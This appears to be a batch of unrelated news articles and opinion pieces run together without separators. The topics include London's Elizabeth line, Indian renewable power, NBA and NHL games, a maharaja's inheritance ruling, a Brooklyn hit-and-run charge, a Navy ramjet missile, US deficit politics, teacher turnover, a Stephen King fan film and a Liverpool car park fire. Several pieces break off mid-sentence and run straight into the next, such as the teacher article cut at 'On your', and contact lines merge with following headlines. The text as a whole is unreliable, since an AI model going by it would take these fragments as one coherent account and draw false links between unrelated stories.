The link, named the Elizabeth line in honour of the Queen, will start running through central London in December 2018, eventually connecting the city to parts of Berkshire, Buckinghamshire to Essex.
From Reading in the west, the line passes through Ealing Broadway, Tottenham Court Road and Liverpool Street before travelling on through Essex - as our close-up images of the line's stations below show.
Two further spurs connect commuters with Heathrow Airport and, towards the city’s east, Canary Wharf and Abbey Wood.
Once fully operational, 24 new 656ft-long trains with nine walk-through air-conditioned carriages will run on the line.
Transport chiefs promise journey times from central London to Heathrow will be 20 minutes faster than before, while key employment districts outside the capital will be just a 45-minute train ride away.
On Tuesday, the Queen officially unveiled the purple line logo named after her and took a trip underground to a section of the tunnel.
Mayor of London Boris Johnson said: “Crossrail is already proving a huge success for the UK economy and, as we move closer to bringing this transformative new railway into service.
"I think it's truly wonderful that such a significant line for our capital will carry such a significant name from our country.
"As well as radically improving travel right across our city, the Elizabeth line will provide a lasting tribute to our longest-serving monarch."
The network will be opened in several phases, beginning with the Liverpool Street to Shenfield route in May next year.
Central London tunnels will open in December 2018 with the full through service to Reading due to begin in December 2019.New Delhi: Capacity addition from renewable energy sources surpassed conventional sources for the first time in financial year 2017 as India added 12.5 gigawatt (GW) of renewable energy capacity compared to 10.2GW from conventional sources of fuel.
“India added 12.5GW of renewable energy capacity during financial year 2017, surpassing capacity addition from conventional sources of fuel estimated at 10.2GW, in sync with global trends," said a report by Elara Capital, which was released on Wednesday.
Of the 10.2GW of capacity addition from conventional energy, 74% came from thermal, while the rest came from hydro and nuclear power projects.
In financial year 2016, capacity addition from renewable energy was about 6.9GW, and from conventional sources about 23.3GW.
ALSO READ : Railways could draw 25% of electric power through renewables: study
The report is based on data from the Union power ministry and the ministry of new and renewable energy (MNRE).
The analysis said it signals a clear shift to renewable energy. Prime Minister Narendra Modi-led National Democratic Alliance (NDA) government has set an ambitious renewable energy target for India.
Under the Paris Climate Agreement, the Central government has committed to install 175GW of renewable power by 2022 of which 100GW will be from solar power and 60GW from wind power. India had also promised to have about 40% of its power from renewable sources by 2030. India’s total installed capacity of power stations is about 315.4GW, according to government data. Of that, about 50GW is from renewable energy.
The analysis highlighted that within renewable energy sources, solar exceeded wind for the first time.
“During financial year 2017, solar capacity addition stood at 6.8GW... This is 26% higher than wind addition of 5.4GW," it said.
ALSO READ : Power Grid eyes electric vehicle play
However, the analysis clarified that “in terms of targets, wind shines" and “solar disappoints".
“Wind addition of 5.4GW is well above industry estimates, 35% above MNRE target (of 4GW). But, solar addition was 43% below target of 12GW (7GW utility, 5GW rooftop). A significant part of the under-achievement was in solar rooftop additions," the report added.
India added a record 5,400 megawatts (MW) of wind power in 2016-17, exceeding its 4,000MW target.
The report also stressed that the month of March signalled a clear shift to renewable energy. India added 7GW of renewable capacity in March compared to 4GW from conventional sources.(The Sports Xchange) - The Thunder chose rhythm and the Spurs chose relaxation Saturday night in Oklahoma City.
Mar 26, 2016; Oklahoma City, OK, USA; San Antonio Spurs guard Jonathon Simmons (17) drives to the basket agains tOklahoma City Thunder guard Andre Roberson (21) during the fourth quarter at Chesapeake Energy Arena. Mandatory Credit: Mark D. Smith-USA TODAY Sports
You might be able to guess how it turned out.
Despite the two teams virtually locked into place for the upcoming playoffs, the Thunder went with its regular starters and regular rotation while San Antonio coach Gregg Popovich rested four of his five starters on the second night of a back-to-back.
The result was predictable. The Thunder pulled away in the second half and cruised to a 111-92 victory, their seventh in a row, inside Chesapeake Energy Arena.
Kevin Durant scored 31 points and Russell Westbrook had 29.
“It’s not their full complement of players, and I think we continued to evolve and get better,” Oklahoma City coach Billy Donovan said. “I think we can hopefully learn and get better from this game. I still think, for us, it’s about getting more consistent all the way through.
“For our team, I’ve seen steady growth and I’d like to continue to see that. They have gotten better and we want to keep getting better.”
Donovan said he wasn’t even considering resting his starters even after learning San Antonio was planning on it.
“Just because San Antonio made a decision that’s best for them, we (don’t) have to do the same thing here,” Donovan said. “It has nothing to do with who we’re playing. It’s about what’s best for us. If we need to do that, we’ll do that. I never thought we should have rested our guys today.”
The Thunder, who had won their past six games by an average margin of more than 16 points, took advantage of the Spurs resting four of their five regular starters.
Kawhi Leonard (quadriceps), LaMarcus Aldridge, Tim Duncan and Tony Parker didn’t suit up for San Antonio. Neither did sixth man Manu Ginobili.
In their absence, David West and Jonathon Simmons each had 17 points to lead the Spurs.
“We had a lot of young guys get some time and found out some other things about certain players and certain situations,” Popovich said. “That what you try to do. We will take all the positives from it.”
The Thunder used their regular lineup and after a sluggish first half eventually got going.
“It was going to be a different game,” Donovan said. “It’s a challenging game to play because as you are getting prepared, it takes time to get adjusted. We got better and better as the game wore on.”
Oklahoma City went on a 8-0 run midway through the third quarter to open up a 13-point lead with 4:05 left in the quarter. The Thunder eventually outscored the Spurs 35-19 in the quarter — the most points given up by the Spurs in a quarter this season.
Westbrook said he didn’t care what players were suiting up for the Spurs.
“Honestly, I’m playing the same night no matter who we’re playing,” he said.
Both teams are virtually locked into their playoff positions in the Western Conference. Oklahoma City will likely be the No. 3 seed and San Antonio figures to be No. 2 behind Golden State, leaving Saturday’s matchup without much of a dramatic feel.
“It wasn’t on us that they didn’t play their starters,” Durant said. “We just have to continue to play our game and stick to what we do. We got stops and we ran out and got easy points.”
Oklahoma City did, but it took a bit of time. The Thunder trailed in the first quarter and led just 48-44 at halftime.
“We are professional,” said San Antonio’s West. “When you are down a few guys like we are in a game like this, you almost have to be mistake-free to give yourself a chance. We’ve just got to take it as what it is.”
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All five Thunder starters were still in the game with four minutes to play and the Thunder ahead by 16.
Westbrook finished the first half with 20 points on 8-of-12 shooting from the field and Durant had 13 points and seven rebounds before the break.
Durant scored more than 20 points for the 58th game in a row. He’s the first player since 2006 (Kobe Bryant) to have a streak that long. He was 13 of 20 from the field and made 5 of 7 3-pointers. He also had 10 rebounds.Image copyright AP Image caption A property on one of Delhi's most expensive streets is among the maharaja's assets
The daughters of a former Indian maharaja have won a 21-year court battle to inherit more than $4bn (£2.6bn) worth of assets.
A court in the northern city of Chandigarh said the will of Harinder Singh Brar, Maharaja of Faridkot - who died in 1989 - had been forged.
It had left his wealth in the care of a charitable trust set up by some of his servants and palace officials.
The assets include a 350-year-old royal fort and a private aerodrome.
But his daughter Amrit Kaur claimed the will had been written under duress, at a time when the maharaja was suffering from depression.
The court ruled in her favour, declaring the document void. The will came to light following the death of Harinder Singh Brar.
His two surviving daughters will now inherit all the assets, which also include a property on one of Delhi's most expensive streets as well as gold and vintage cars.
Harinder Singh Brar was the titular ruler of the Faridkot area of Punjab before India became independent in 1947.A Brooklyn motorist was charged Tuesday for the gruesome hit-and-run murder of an avid cyclist last July.
Juan Maldonado, 56, was speeding through Williamsburg around 2 a.m. when he ran a red light and swerved into the bike lane, prosecutors said, careening into Queens biking enthusiast Matthew van Ohlen.
Ohlen’s body got caught in the undercarriage of the car, and was dragged some 20 feet as Maldonado fled the scene, authorities said. Part of the incident was captured by a nearby surveillance camera.
Ohlen, 35, later died of blunt-force trauma at Bellevue Hospital.
Maldonado was arraigned Tuesday on a slew of charges, including second-degree manslaughter, criminally negligent homicide and leaving the scene of an accident.
Members of the cycling community packed the courtroom in support of their slain friend.
Transportation Alternatives Executive Director Paul Steely White called the crime “heinous,” and said he was “pleased” justice was moving forward.
“A young man who was an active member of Brooklyn’s biking community lost his life because a speeding driver struck him in a designated bike lane and sped away,” Acting Brooklyn DA Eric Gonzalez said in a statement.
Brooklyn Supreme Court Justice Elizabeth Foley set bail at $100G.
Maldonado faces up to 15 years in prison if convicted.tech2 News Staff
For a military with the world’s largest defence budget, things move at a glacial pace, or so experts say. Therefore, it’s surprising that the US Navy actually managed to design, build and test a new ramjet missile in just six months.
How did they do it? Off-the-shelf parts and a credit card.
To avoid bureaucracy and miles of red tape, the team behind the rocket decided to keep things small and use off-the-shelf parts. Most of the components, in fact, were simply bought with a credit card. They were also relatively cheap, which allowed the team to test their design more frequently.
A normal defence purchase would involve tedious budgeting, red tape and the setting up of contracts.
The missile itself is based on a ramjet design, which is more efficient than a regular rocket engine. A ramjet engine is conceptually very simple. The missile’s velocity is used to compress air into the engine compartment under high pressure and this is in-turn used to ignite the fuel. The reaction energy propels the rocket forward at incredible speeds.
As Popular Mechanics points out, a ramjet design depends on high-speed airflow, supersonic in some cases, to work. It cannot be used to launch a missile. To get the missile up to speed, a rocket motor is required.
US Navy scientists decided to buy a commercially available rocket motor, designed for hobby rockets, and used it in their missile. It worked. There was no need to set up a rocket motor factory or contract the unit out to a defence company. It was cheaper to buy the $900 rocket motor than to develop one in-house.
Rapid testing helped speed up development and within 6 months, a solid-fuel, ramjet engine missile was ready.
By contrast, India’s own anti-ship Brahmos missile, which also uses a ramjet, took many years to develop.
The US Navy’s prototype rocket claims to offer three times the range of a liquid-fuel rocket and is faster.
Tech2 is now on WhatsApp. For all the buzz on the latest tech and science, sign up for our WhatsApp services. Just go to Tech2.com/Whatsapp and hit the Subscribe button.We must address the deficit in a way that is fair, the author writes. | REUTERS Cut deficit, but not on backs of needy
Yes. We must address the very serious problem of a $16 trillion national debt and a $1 trillion federal deficit.
But at this pivotal moment in American history, it’s essential that we understand how we got into this deficit crisis in the first place and who was responsible for it. More important, we must address the deficit in a way that is fair and does not balance the budget on the backs of the elderly, the children, the sick and the poor — people who are already hurting.
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Let us never forget that when Bill Clinton left office in January 2001, this country enjoyed a healthy $236 billion surplus, and the projections were that this surplus would grow by a total of $5 trillion over a 10-year period.
What happened? How did we go from a significant federal budget surplus to a massive deficit? Frankly, it is not that complicated.
President George W. Bush and the so-called deficit hawks chose to go to war in Afghanistan and Iraq and put the funding for those wars on our nation’s credit card. By the time the last wounded veteran is cared for, those wars will end up adding more than $3 trillion to our national debt.
During this same period, Bush and the “deficit hawks” provided huge tax breaks to the wealthiest 2 percent of Americans who were already doing phenomenally well. These tax breaks for the very rich will increase our national debt by about $1 trillion over a 10-year period.
In addition, Bush and the “deficit hawks” established a Medicare prescription drug program written by the pharmaceutical and insurance industries. This program, which is far more expensive than it should be because it prohibits the federal government from using its purchasing power to negotiate cheaper drug prices, was not paid for. As a result, about $400 billion will be added to our national debt over a 10-year period.
Further, as a result of the deregulation of Wall Street, and the greed, recklessness and illegal behavior of the major financial institutions, this country was driven into the worst recession since the 1930s, which resulted in a massive reduction in revenue coming into the federal government.
And now, as we approach the election and a lame-duck session of Congress, these very same Republican “deficit hawks,” the folks who, to a significant degree, created the deficit crisis, are presenting some horrendous ideas about how we should get out of the mess that they caused. Sadly, they have been joined by some Democrats.Bikers Pose As Sexy Ladies In Subversive Ad Campaign
Art critic John Berger’s text Ways of Seeing suggests that women in art are often displayed for the pleasure of men, tilting their heads and looking at the viewer with an air of suggestion and submission. There’s a connection between this idea and his claim that advertising sells fantasy more than it does products; ads seem to suggest, “Buy this, and this girl will want to sleep with you.” The objectification of women sells.
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Motorcycle advertising is no exception. Asphalt and Rubber’s Jensen Beeler is sick of seeing sexualized women in bike advertising, and the site avoided posting a recent ad campaign by Ducati dealer Motocorsa that features a model clothed in skin-tight jeans, black undies, a red bandeau, and matching stilettos posing seductively with a bike. She is shot pouting, baring her naked back, and smooching a bike.
But a while later, Beeler discovered something amazing: Motocorsa redid the shoot with men from around the shop posing in the very same poses as model Kylie. In the same clothes. With the same suggestive glances. The second shoot subverts and critiques the previous; it reminds us of how inundated we are with images of scantily-clad women intended to sell products to (mostly) men. The pattern of sexualized marketing is exposed, and it’s awesome. Take a look at the photos below!
Free Download: A Feminist Guide to the Resistance
Don't give up the fight! Featuring inspiring interviews with resistance leaders; how-tos on community organizing, running for office, and much, more. Plus, get the latest from BUST. Download
Thanks to Asphalt and Rubber
First published October 17, 2013When teachers leave the classroom, it directly impacts student learning and can be costly for districts that spend money on recruiting and training.
In the state of Indiana, 12,426 educators, or 18 percent of Indiana's teachers and administrators, left their schools over a single school year period, according to the most recent data from the Indiana Department of Education.
Those numbers are among the worst in the nation, according to a recent study by the Learning Policy Institute.
When teachers remain in their schools, they get to know their students, families and their communities, which school leaders say is a huge factor in student achievement.
So what's causing the departure? Call 6 Investigates took a deep dive into the numbers, and found that there is no documentation state-wide on why teachers are leaving.
Why They Left
Taji Gibson
Taji Gibson was a teacher for 19 years with an enthusiasm so contagious, it won her an outstanding educator award.
“I loved the kids,” said Gibson. “I loved teaching. I wish I didn’t have to leave.”
Gibson said she left the classroom for numerous reasons including a lack of leadership opportunities and compensation.
“At the time I left, after 19 years of experience, I made maybe $54,000,” said Gibson.
“I loved the kids. I loved teaching. I wish I didn’t have to leave.”
Gibson said she had trouble juggling everything that comes along with being a teacher.
“On your
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lost today. In 2017, Republican and Democratic Members of Congress seldom socialize outside of votes and committee hearings. We used to break bread together; our spouses used to plan weekend trips; our children used to attend the same schools. But today, our families barely know each other — if they know each other at all. In the weekly race to return to our home states as soon as possible, we miss out on opportunities to share with one another the more intimate, humanizing parts of our lives. As a result, something vital has been lost. We now struggle to see the common humanity in the other side, and we increasingly treat each other as opponents rather than friends.
I’m grateful for the late Senator Ted Kennedy, who taught me that the bonds of friendship are stronger than any partisan pull. When I first joined the Senate, I thought Teddy would be an adversary. Instead, we became the best of friends.
Teddy and I were a case study in contradictions. He was born into privilege; I was brought up in poverty. He was an East Coast liberal; I was a Reagan conservative. He was a Catholic; I was a Mormon. Yet time and again, we were able to look past our differences to find areas of agreement and forge consensus. Had Teddy and I chosen party loyalty over friendship, we would not have passed some of the most significant bipartisan achievements of modern times — from the Americans with Disabilities Act and the Religious Freedom Restoration Act to the Ryan White bill and the State Children’s Health Insurance Program.
My unlikely friendship with Ted Kennedy is but a small example of what our nation can accomplish if we choose respect and comity over anger and discord. Only by doing so can we look beyond the horizon of our differences to find common ground.
Today, I want to make a personal commitment to exercise greater civility in my day-to-day interactions with fellow Americans; I hope you will join me in doing the same.
Contact us at [email protected] Gaborik is a pretty quiet guy off the ice. Even after the Columbus Blue Jackets’ commanding 4-0 win over the San Jose Sharks on Tuesday night — a game in which he dished a gorgeous assist to Ryan Johansen and later scored a beautiful nail-in-the-coffin goal of his own — he stood in the home locker room at Nationwide Arena and spoke in a voice so soft and calm you had to strain to hear what he was saying.
Only once did he crack a wide and crinkly-eyed smile, almost in spite of himself. It was when he was asked how it felt to score his first goal on home ice for the Blue Jackets, the team he was traded to in an 11th-hour deadline deal with the New York Rangers on April 3.
“Very good feeling,” he said. “The fans are great. And Arty [Anisimov] made a beautiful pass. So it felt good.”
A few feet away on a locker room whiteboard, scrawled in uneven hand near a more neatly penned pregame itinerary, were the words:
GOOD LUCK BOYS
Mase, Brass, Dorse, Mooresy!
You wonder if the boys in question ever even saw the note. Goalie Steve Mason, forwards Derick Brassard and Derek Dorsett, and defenseman John Moore were together in their apartment complex when they found out, as their phones buzzed one by one, that they were all heading out of town last week, Mason to Philadelphia and the rest to the New York Rangers for Gaborik in what was the biggest move of the day. As the Columbus Dispatch‘s Michael Arace wrote, “It happened as fast as a slash.”
In Gaborik, the Blue Jackets have gained a three-time 40-goal scorer (last season with the Rangers, he finished with 76 points, the third-best result of his career), a distinction that places Gaborik in rare company. But the team also acquired something more: respectability, maybe, or just cred. For Gaborik to come to Columbus he had to waive a no-trade clause. And while there’s no doubt there was some push behind his decision to do so — let’s just say he and John Tortorella were never the most simpatico pair — there was, for the first time in a while, also a pull.
“I had some time to think about it,” Gaborik had said on Sunday. “I talked to a couple of guys here — J.D. [president of hockey operations John Davidson] and Jarmo [Kekalainen, the team’s new GM since mid-February] — and they made my decision a lot easier.”
Gaborik singled out a few things that had attracted him to the Blue Jackets. He spoke with Vinny Prospal, a former Rangers teammate, who had “nothing but only good things to say about this team.” He also knew Artem Anisimov and Brandon Dubinsky, who were traded in the offseason for Rick Nash. (“Happy!” Anisimov said simply when I asked how he felt when he heard Gaborik would be joining the team.)
“It’s a young team,” said the 31-year-old right winger, who teamed up with Dubinsky on the road in Nashville to score a goal in his first game with Columbus. “We have three first-round picks this year. Since J.D. took over — he kind of lighted up the team in St. Louis, then came here — I think it’s going in the right direction. That was one of the things that made me think about taking my no-trade clause away.”
When Zach Parise made the decision to sign with the Minnesota Wild as a free agent this offseason, he was attracted for a similar reason. (Well, in addition to 98 million other reasons.) He had heard often, he said, that the Wild had one of the deepest prospect pools in the league: a good sign for the future. “That had a lot to do with it, to have this type of depth,” he said Sunday.
The good thing about having that kind of roster is it gives a team flexibility: It can develop and deploy the prospects over a long period of time, or package them in short-term minded trades. “When you’re able to part with two good prospects and picks on top of that,” Parise said, “you feel comfortable with what you have on your roster and what you’ve got coming up.” He was referring to what the Wild did at the deadline, sending Matt Hackett, Johan Larsson, and a first- and second-round pick to the Buffalo Sabres in return for Jason Pominville, who was drafted by Buffalo and had spent his entire career there.
“It was a little bit of a shock at first,” Pominville said. “It’s probably a big shock for [Gaborik], too; he played the day after. It’s a lot of travel, a lot of things going through your mind — what are you gonna do with what you have, in his case in New York, in my case in Buffalo. Your house, your family, your kids there’s a lot of side things that you’ve got to try to figure out.”
Unbeknownst to Pominville at the time, his own family — his wife, Kim, her father, and her and Jason’s two young kids — were driving from Buffalo to surprise him after Sunday night’s game. It was a scheme cooked up by Kim and facilitated by Parise and the Minnesota Wild team services staff, which launched into thoughtful last-minute action on Saturday night. Child-size Wild jerseys were shipped in from St. Paul — by charter plane, because FedEx doesn’t deliver on Sundays — and the family’s progress was kept under close watch. Car troubles were monitored, a hotel suite was arranged once the team learned that Kim had planned to drive all the way back to Buffalo that night, and when the family arrived the team was there to capture the moment.
Late in the third period, with his family in the Nationwide Arena crowd, Pominville buried a perfect pass by Parise for his first Wild goal, and Minnesota came away with a crucial 3-0 win. After the game he stood in the cavernous underground of the arena, near the loading docks, spending as many minutes with his wife and kids as he could. Parise came by to say hello — “We’re excited to have him!” he told Kim — as did head coach Mike Yeo. Pominville’s daughter ran around in light-up shoes; his son repeatedly tossed a water bottle on the ground and giggled every time Daddy had to go get it. “High five!” Pominville said when it was time to get on the team bus to Chicago, and his son happily obliged.
The trade deadline is different for every team. The Wild fancy themselves contenders and were willing to give up prospects and a pick for a nearer-term player in Pominville. (It helps that he’s also signed through next season, making the acquisition more than a “rental.”) The Columbus Blue Jackets, despite a spirited late-season run, will probably find themselves on the outside of the playoffs once again — and yet this time, things feel different. Several fans I spoke with said that the deadline moves were a sign that the Jackets are bullish on their near-to-middle-term chances and are willing to invest.
And for the San Jose Sharks, who came to Nationwide Arena on Tuesday, the trade deadline represented a chance to try out what GM Doug Wilson will call a “refresh” or “reset” but not a “rebuild.” The Sharks unloaded Ryane Clowe, Douglas Murray, and Martin Handzus, but it was more addition by subtraction than it was some sort of fire sale. The Sharks won seven straight leading up to and after the trade deadline, though they’ve faltered in their last two games — a 5-4 shootout loss to Dallas and Sunday night’s 4-0 stinker in Columbus. The good news is that, with the trade deadline past, no one needed to fear they’d be traded based on the game.
“There is a sigh of relief,” said Dan Boyle, who was long rumored to be on the trading block but wasn’t moved. “For the guys kinda in the rumor mill, it’s not always fun. Now you can certainly turn the page and now we can focus on the games instead of on, you know, where you’re gonna be.”
Tuesday’s 4-0 win over San Jose was a game in which you could visibly see the Blue Jackets trying to make amends for their lackluster effort in Sunday’s 3-0 loss to the Wild, a crushing shutout that had substantially lessened the team’s dwindling chances for a playoff spot. Still, the sense in Columbus is that for the first time in a while there’s something to look forward to. After Tuesday’s contest, Gaborik tweeted: “I’m very pleasantly surprised with the city of Columbus. Nice ppl and great fans!” Since the trade, he’s repeatedly explained in stoic tones that he views his new role and his new team as a “new challenge” in his career. He’s also said more than once that he appreciates how much the franchise specifically wanted him.
“I think it’s good,” Columbus’s Mark Letestu said on Sunday. “Now he’s ‘the guy’ — it’s probably very similar to the way it was in Minnesota for him, where he thrived.” Letestu gave up his no. 10 to Gaborik after having surrendered no. 17 to Brandon Dubinsky last season. “I like to keep the fans on my toes and change my number every six months,” he joked, adding that while he had heard stories from other sports of the high market prices a coveted jersey number can command, that wasn’t the case in Columbus. “But if he wants to take me to dinner?” he said, smiling. “I’m more than happy to go.”
After the win, John Davidson — who with his refrigerator of a body and white shock of a mustache is an imposing yet beloved uncle-like presence; you don’t know whether you want to cower before him or bear-hug him — strode through the Blue Jackets locker room. Noticing Gaborik still there, he doubled back over to his newest player, made meaningful eye contact, and vigorously shook his hand. “Marian,” he said simply, and the soft-spoken Gaborik nodded back. No one needed to say anything more.
Lighting the Lamp: The Week’s Sickest Snipes
Guess who’s back, back again? Ovi’s back, tell a friend
“Radio question in February: Is Alex Ovechkin finished?” tweeted The Sporting News‘s Jesse Spector a few days ago. “Radio question this morning: Is Alex Ovechkin a Hart Trophy candidate?”
Even in the wildly volatile world of sports, Ovechkin has stood out as a player who is considered almost solely in bipolar fashion. He’s either the best player in the world or he’s on steroids. One day he’s a coach killer, the next he’s been completely and unfairly mishandled. He’s finished, figured out, washed up, certain to decamp to Russia — or he’s back, baby, and playing on one of the hottest lines in the league. He’s a left wing, he’s a right wing, he’s “the man,” he’s got 16 goals in his last 13 games and is being batted around in consideration for MVP honors. Do you have whiplash yet?
Ovechkin’s recent hot streak has seen him score in all sorts of ways. There have been the tipped shots in front of the net to tie games:
There have been the hat tricks:
And, as if specifically designed to shut up all the people who complained that Ovechkin’s goals haven’t come against tough-enough competition, there have been electrifying moments like this one against the Montreal Canadiens:
“Right now I’m scoring goals and I’m the king of the world,” Ovechkin said on March 25. “A couple weeks ago I was almost in the toilet. So maybe you just forgot to flush me.”
A few other great goals this week: Patrick Kane sets up Jonathan Toews, Nail Yakupov romps through #yakcity, and T.J. Galiardi nets an insane backhand.
Piling on the Pylons: The Week’s Worst Performers
Hmm, so much to choose from this week. Like this goal from the Rangers’ Rick Nash, which really was neither Mark Fraser’s nor Cody Franson’s finest moment.
Or perhaps we should focus on the fact that on March 12, the Carolina Hurricanes were 15-9-1 and led the Southeast Division and now a month later they’re 16-21-2. This graph is hard to look at.
Nah, I think it’s gotta be that Anaheim fans, intending to make life miserable for the Edmonton Oilers’ Justin Schultz (who was drafted by the Ducks but declined to sign with them) instead voiced their displeasure with the Edmonton Oilers’ Nick Schultz. Ducks fans, I love you dearly, but OOF.
Taking It Coast-to-Coast: A Lap Around the League
• This recap of a Canucks-Coyotes game includes the best parenthetical aside ever:
(One thing to note on the own-goal: Zack Kassian celebrates like Hamhuis scored it on a breakaway. While everyone else on the bench just stands around stoically, he grins like a kid at Disneyland and then delivers vigorous butt-slaps to Henrik and Higgins. Both ignore him.)
• Here’s a really nice essay by The Globe‘s James Mirtle about being a sportswriter and being a fan.
• I clearly need to start paying attention to more press conferences held by Claude Noel, coach of the Winnipeg Jets. Noel talked about “dinosaurs running in my head” and then clarified: “Oh, some days, yeah. There’s big ones. Jurassic Park.” (New game: NHL coach or the Preschool Gems Twitter account?)
• If you haven’t read Grantland’s Sean McIndoe on playoff bubble teams and the last few weeks of the regular season, what are you waiting for?
• A few injury notes as we head toward the postseason: The Vancouver Canucks announced that Chris Higgins has a lower-body injury and will hopefully return for the playoffs; Ilya Kovalchuk is on the mend, but still working his way back to the struggling Devils; Erik Karlsson is, unbelievably, recovering ahead of schedule; and Detroit’s Darren Helm, the Wild’s Dany Heatley, and Montreal’s Alexei Emelin all suffered season-ending injuries. Also, James Neal is out indefinitely with a concussion and poor Sidney Crosby looks like Two-Face.
And a Beauty! The Week’s Best in Net
I’m just going to leave this MIKE SMITH HULK SMASH video here and back away slowly and then turn around and break into a full sprint.
Chirping Like a Champ: The Best Mouthing Off
When the Detroit Red Wings’ Pavel Datsyuk scored with just 15.4 seconds remaining in overtime to defeat the Colorado Avalanche 3-2 on Friday, Red Wings broadcaster Mickey Redmond, in between his usual uproarious laughter, pointed out the grim body language of the Colorado team.
“Look at the Avalanche bench, Ken,” he said. “I mean, you’re watching the Red Wings celebrate — not one of the Avalanche have moved! Why?”
Shell shock, probably. But it was a prescient observation about a team that, a few days later, would draw much wider scrutiny from the hockey world for the way it’s looked during (and between) games. Following a 3-1 defeat to the lowly Calgary Flames (right now one of the Avs’ biggest competitors for last place in the league and the best odds for the first overall pick), goaltender Jean-Sébastien Giguère — who had also been in net for Datsyuk’s goal — lashed out at his teammates.
“Some guys are more worried about their Vegas trip at the end of the season than playing the games, than playing every minute of the games,” he said. “Quite frankly, I don’t care about your Vegas trip right now.”
To be fair, no one in history has ever cared about another person’s Vegas trip. It’s like hearing about someone’s delayed flight. But for Giguère, a proud 15-year veteran who has both a Stanley Cup and a Conn Smythe — in different years — to his name, it rankled more than that. “It’s embarrassing,” he said. “I’m embarrassed to be here right now. It’s not even funny.”
Thousands of miles away, meanwhile, another struggling hockey team drew similar levels of disgust. The Buffalo Sabres didn’t even lose their game to the New Jersey Devils on Sunday night — they won 3-2 in a shootout — but fans nevertheless loudly voiced their seasons-long angst throughout the game. “They want to see better, but sometimes it’s going to be a battle,” goalie Ryan Miller said. “Sometimes it’s going to be hard. We need their help. We need them to be behind us. We hear them.”
Forward Steve Ott was more aggressive in his remarks. “Our fans were booing us every opportunity they had,” he said testily after the game, then doubled down on Tuesday on his weekly radio-show appearance. You can read a robust transcript here, but there are two things that stand out. The first is that, after ranting about the fans for five minutes straight, he added: “I’m not bagging on our fans at all because we do have a lot of fantastic fans” — which is like talking shit behind someone’s back for a while and ending it with “But she’s a really nice girl.” The second is that someone ought to offer Ott’s fiancée a tryout contract — she’d make for a pretty great enforcer.
Hockey Haiku
Contract for nine years
Fifty-one million dollars
Nice one, Paul Holmgren.This week's Mainstream Media Scream shows an unusual take on Golden Globe winner Meryl Streep's slap at President-elect Trump. In it, Whoopie Goldberg, on her show The View, makes Hollywood liberals out to be the victims of the right.
From Monday's The View:
"Stop using Hollywood as this bad word. Let me remind everybody that in the '70s, and prior to that, Hollywood was really sort of run by the right-leaning groups. That's how we ended up with McCarthyism and all of these so-called lefties being rounded up and eaten, basically, for their beliefs.
"Secondly, a lot of actors have always come from real life, so they have a different thing, a different way of looking at stuff. So, stop painting this idea. Because, you know, harking back to the conversation we had, I've been thinking about it, and I remember that I can't name one right-leaning person who has ever lost their job for being a right-leaning person, but I can name you at least 15, 20 people who lost their ability to make a living, including myself, because of right-leaning folks saying, oh, you said that, you shouldn't be saying that.
"So my point is, it's not a Hollywood thing. This is people talking about people. Nobody's afraid, as you can see, to say what they want. But Danny Glover ate a lot of poop during the Bush administration, as did Sean Penn."
Media Research Center Vice President of Research Brent Baker explains our pick: "Yes, the problem today is that Hollywood is run by conservatives who supposedly suppressed liberals decades ago and still do today. Donald Trump and those disturbed by Meryl Streep's lecture have a lot better grip on reality."
Rating: Four out of five screams.
Paul Bedard, the Washington Examiner's "Washington Secrets" columnist, can be contacted at [email protected] are a lot of short films out there based on Stephen King's short stories, largely because of King's "dollar babies" program, which permits film students to pay a buck for the rights to make a non-commercial adaptation of one of King's short stories. But short films based on his novels are much rarer, because the adaptation rights are largely owned by other people. That's certainly true of The Long Walk, King's 1979 novel about a dystopic future where a popular national sport consists of a hundred teenagers walking cross-country in a marathon that only one of them will survive. It's surprising that the book has never been adapted to film, given how perfectly suitable it is for the low-budget indie-horror treatment, and given how neatly it slots into the tragic-future young-adult-novel trend that's taken over cinemas since The Hunger Games. But longtime King fan Frank Darabont (director of the King adaptations The Shawshank Redemption, The Green Mile, and The Mist) has been hanging onto the movie rights to The Long Walk for years, saying he'll get around to the film eventually.
In the meantime, fans will have to be content with this recent fan adaptation, a striking, bloody animated short that adapts a monologue in the book, and draws on some of the story's ending. It functions as a perfect teaser for the novel, which is one of King's best.
The animator is Adriano Gazza, a 41-year-old British motion graphics designer who's made a series of music videos and other short side projects while working as an illustrator and graphic designer. This is his first short film. "I kept thinking it would make a brilliant film," he told The Verge. "It became an ongoing joke with my friends that I would make the film one day! But people kept encouraging me, and over the years, I got more into making videos and it became a more tangible proposition."
Gazza started work on the project five years ago, initially planning it as a live-action short. "I storyboarded elements and had the bones of a script," he says, "but there was so much material to condense that I eventually drifted away from it. Then I thought, ‘Let's make this by myself, as an animation, so I can control when I work on it, and don't have to wait on other people's schedules.'" One advantage to that approach: Gazza has two small children and not a lot of free time, so he was only really free to work on the project while he was commuting to work.
"I wrote a new script, then storyboarded it all on my iPad and phone. I spent a year testing animation styles — rotoscoping and 3D — using apps on my iPad. It's amazing what's out there. But nothing would give me the consistent look I was after. I finally found a great piece of software / resource on my Mac called Mixamo, which allows you to build 3D characters from its Fuse program, then upload to the site and add motion-capture data." Gazza used Cinema 4D for the 3D work, and added effects, overlays, and additional graphic elements (like that creepy "in his feet" text, drawn in veins) in After Effects, Photoshop, and Illustrator. "I love to play with textures and collage in my illustration and animation work," he says, "so I experimented a lot, too."
Gazza says the hard part of the film was figuring out how to condense the novel down to short-film length, but other parts were easier. The soundtrack came from his best friend, a Los Angeles-based musician who records as Small Magellanic Cloud. And the shifting animation and narrative styles emerged naturally out of King's book. "I wanted to make the film start off literally and set the scene, and then slowly feel like a descent into a hallucinogenic nightmare, to mirror the exhaustion of the walkers. This way, I could interweave fantasy elements and use visual devices to transition scenes, so the whole film felt cohesive. There are some great descriptive scenes in the book, including one where King describes the crowd turning into a giant spider, possibly due to the extreme fatigue of the participants. One of the great inspirations for me was the film of Pink Floyd's The Wall — specifically, Gerald Scarfe and team's outstanding, nightmarish animations. I would have loved to have had the spider scene in the film, but couldn't find a place for it. Maybe in my next film!"
Update December 5, 12:00PM ET: Gazza informs us that he's received a cease-and-desist letter from King's lawyers, and has had to remove his short from Vimeo, so it's no longer available online.Media playback is unsupported on your device Media caption Eyewitness Olly Harrison said he heard bangs and explosions as he was turned away from the arena
A huge fire has destroyed up to 1,400 vehicles in a multi-storey car park in Liverpool, forcing many people to spend New Year's Eve in a temporary shelter.
Merseyside Fire and Rescue Service said the blaze at King's Dock - next to the Liverpool Echo Arena - was one of the worst it had ever dealt with.
An accidental fire in one car which spread to other vehicles appeared to have been the cause, police said.
